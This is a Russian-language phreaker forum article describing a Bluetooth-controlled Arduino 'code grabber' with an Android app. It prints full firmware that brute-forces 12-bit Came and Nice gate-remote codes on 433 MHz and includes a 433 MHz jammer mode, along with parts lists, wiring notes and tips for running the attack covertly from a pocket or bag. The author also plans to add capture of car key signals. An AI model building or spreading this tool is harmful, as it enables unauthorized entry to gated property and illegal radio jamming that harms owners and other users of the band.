Android + Кодграббер

1Сегодня я хочу предложить фрикерскому сообществу приложение KG Control для android смартфонов, при помощи которого можно будет управлять грабом без проводов, только по средствам bluetooth.

Нам понадобятся следующие вещи:
— смартфон с Android’ом 4.0.3 и выше.
— Arduino Nano (ATmega328)
— блютус модуль(например, я использовал HC-05)
— приёмник и передатчик
— светодиоды и резисторы

 

 

Приложение:

2

Функционал приложения:
— Перебор Came12
— Перебор Nice12
— Глушилка 433

Это, скажем так, демо версия — без приёма сигналов от авто. Посмотрим, если народ будет заинтересован этой темой, то прикрутить приём от авто не составит больших проблем. Честно говоря, по этой причине я даже иконки и значки в стиле фрикер клаб не стал делать. Интерфейс интуитивно понятен, думаю тут ничего пояснять не стоит. Тесты проводились на моей siny xperia zr, android 4.4 kitkat.

Алгоритм работы следующий. Вначале вводим mac-адрес вашего блютус модуля(его можно будет узнать при помощи приложения bluetooth terminal(а в последствии и при помощи нашего). Как только вбили mac-адрес. приложение синхронизируется с платой и появляются кнопки came, nice и глушак. Если же этого не произошло рекомендуется перезапустить приложение и «передёрнуть» питание на плате. Либо проблема в дальности. Вообще, на андроиде практически не возможно узнать произошло сопряжение с каким-либо устройством или нет, поэтому возникают проблемы с отслеживанием подключения. В будущем, если народ заинтересуется, можно будет подумать над этим более скрупулёзно. Итак, например, мы нажали кнопку came соответственно у нас запустился перебор, на время перебора не нужно всё время держать телефон с включенной подсветкой. Можно её выключить и положить смарт в карман, например. Потом можно периодически проверять состояние перебора. Телефон автоматически вновь синхронизируется с платой и продолжит получать данные. Так же для  проверки/обновления синхронизации вручную, присутствует кнопочка в левом нижнем углу.
P.S. Не хочу повторяться, но для «особенных» людей ещё раз повторю: если что-то пошло не так, например, вы подали команду перебора, а светодиод не мигает, или просто команда прошла в «холостую», то следует перезагрузить и приложение и плату, либо уменьшить расстояние между платой и смартом, либо поиграться с длинной антенны на блютус модуле.

Железо:
3

Паяем, собираем, можно при желании спроектировать плату, которая, как мне кажется, поместиться в карман и будет размером чуть меньше пачки сигарет. У меня делать плату нужды особой не было, поэтому я сделал это на «слепыше». Ношу я это дело в портфеле. Питание беру на прямую от USB кабеля от ноутбука. У меня получилось вот так, пока меня всё устраивает:

5

4

(Не обращайте на лишние резисторы и стабилизаторы, остались с другого проекта, мне было лень их выпаивать))))))
Из опытов я понял, что припаивать антенну к блютус модулю всё-таки стоит, так как без неё случаются осечки при приёме и передаче сигналов. Длинну антенны можете посмотреть на фото выше. Лучше брать немного подлиннее, чем у меня. Радиус действия от одного конца комнаты до другого, дальше не тестировал. Кстати, блютус модуль после 15-20 минут работы начинает немного греться, но прикручивать радиатор пока смысла не вижу.
Отдельное внимание хотел бы уделить пинам блютус модуля. 32-й пин — для светодиода, показывающего статус соединения: горит, если установлено соединение с другим Bluetooth-устройством, 31- й пин — для светодиода, показывающего состояние модуля: светодиод мигает с разной скоростью в зависимости от того, чем занят модуль — опросом Bluetooth-устройств, ожиданием или чем-то ещё. Соответственно при желании, можно прицепить светодиоды и к ним.

Программа для ардуины бралась из паблика. Доработки очень приветствуются. Но при доработки не стоит удалять строки, которые помечены комментариями, например:

if (var%204 == 0){ //не удалять
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
}

Так смартфон получает данные для progressbar’а. Так же не рекомендую трогать буквы в строках: if(incomingByte == ‘Z’). При помощи этого алфавита происходит общение платы и смарта. То есть не трогайте всё что посылается по UART’у.

Собственно сама программа:

#define txPin 8
#define rxd 4
#define BT 3
#define LED 12

unsigned int came_sost = 0;
unsigned int nice_sost = 0;
unsigned int glush_sost = 0;
int var=0,i,ii=0,x,y;;
char incomingByte; // входящие данные

void SendBit(byte b){
if (came_sost == 1) {
x = 640;
y = 320;
} else {
x = 1400;
y = 700;
}
if (glush_sost == 1){
x = 5;
y = 5;
}
if (b) {
digitalWrite(txPin, LOW); // 1
delayMicroseconds(x);
digitalWrite(txPin, HIGH);
delayMicroseconds(y);
}
else {
digitalWrite(txPin, LOW); // 0
delayMicroseconds(y);
digitalWrite(txPin, HIGH);
delayMicroseconds(x);
}

}

void Send_preambula(int preambula){
digitalWrite(txPin, HIGH);
delayMicroseconds(preambula);
digitalWrite(txPin, LOW);
}

void SendPerebor(long Code,unsigned int preambula,unsigned int pilot){
for (int i=0; i<4; i++){ // посылку посылаем 4 раза подряд.
Send_preambula(preambula); // время стартового импульса
for (int i=12; i>0 ;i—){
SendBit(bitRead(Code,i-1)); // побитово перебираем и посылаем код
}
digitalWrite(txPin, LOW);
delayMicroseconds(pilot);
}
}

void nicebrute(){
while(1){
SendPerebor(var, 700, 25200);
var=var+1;
if (var%204 == 0){
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
}
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096){
var=0;
break;
}
}
}

void camebrute(){
while(1){
SendPerebor(var, 320, 11520);
var=var+1;
if (var%204 == 0){ //не удалять
ii = ii + 5;
Serial.println(ii);
Serial.println(ii);
}
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 4096){
var=0;
break;
}
}
}

void initPins(void){
pinMode(rxd,INPUT);
}

void printhex(byte val){
if(val<=0x0F)Serial.print(‘0’);
Serial.print(val,HEX);
}

void setup() {
initPins(); // Настроить входы-выходы
// Настроить трансивер на 433.920 модуляция AM
Serial.begin(9600); // инициализация порта
pinMode(txPin, OUTPUT);
pinMode(LED, OUTPUT);
pinMode(BT, OUTPUT);
randomSeed(analogRead(0));
}

void glush(){
}

void loop() {
digitalWrite(BT, HIGH);
if (Serial.available() > 0) { //если пришли данные
incomingByte = Serial.read(); // считываем байт
if (incomingByte == ‘C’) {
came_sost = 1;
camebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println(‘C’); // и выводим обратно сообщение
}

if(incomingByte == ‘Z’){//ответ синхронизацю и передача состояния
Serial.println(‘Z’);
Serial.println(‘Z’);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
if (came_sost == 1) {
came_sost = 0;
Serial.println(‘C’);
Serial.println(‘C’);
}
if (nice_sost == 1) {
nice_sost = 0;
Serial.println(‘N’);
Serial.println(‘N’);
}
}

if (incomingByte == ‘N’){ //nice
nice_sost = 1;
nicebrute();
ii = 0;
var=0;
delay(3000);
digitalWrite(LED, HIGH);
delay(1000);
digitalWrite(LED, LOW);
Serial.println(‘N’); // и выводим обратно сообщение
}

if(incomingByte == ‘G’) {//глушилка
digitalWrite(LED, HIGH);
glush_sost = 1;
while (glush_sost){
if (Serial.available() > 0) {
incomingByte = Serial.read();
if(incomingByte == ‘H’) {
glush_sost = 0;
}
}
SendPerebor(var, 10, 10);
var=var+1;
digitalWrite(LED, HIGH);
delay(10);
digitalWrite(LED, LOW);
if (var > 10){
var=0;
}
}
}

if(incomingByte == ‘H’) {
digitalWrite(LED, LOW);
glush_sost == 0;
Serial.println(‘Z’);
delay(5);
Serial.println(‘Z’);
}
}
}

Планы на будущее, если люди заинтересуются этим проектом:
— если будет спрос, то прикрутить приём от авто
— сохранение ключей, в шифрованном виде(на смарте и на ПК)
— сделать миниатюрную печатную плату с SMD деталями

P.S. это мой первый проект, поэтому уж сильно строго не судите, если будут какие-то ошибки или недоработки пишите, я поправлю.
P.S.S. большое спасибо хочу сказать CivicDriver’у.
P.S.S.S не плохая документация по модулям HC.

 

Ветка обсуждения на форуме.

O’NeiLL
(c) phreakerclub.com